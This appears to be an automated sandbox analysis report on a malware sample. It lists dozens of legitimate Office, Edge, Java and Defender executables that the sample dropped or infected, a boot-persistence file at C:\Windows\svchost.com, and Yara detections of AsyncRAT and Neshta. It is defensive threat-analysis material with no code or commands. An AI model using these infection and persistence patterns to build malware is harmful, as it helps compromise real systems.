Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to dropped file

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe

File created: C:\Windows\svchost.com

Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Yara detected Neshta

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 0.0.LisectAVT_2403002B_4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2500140385.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\svchost.com, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPED
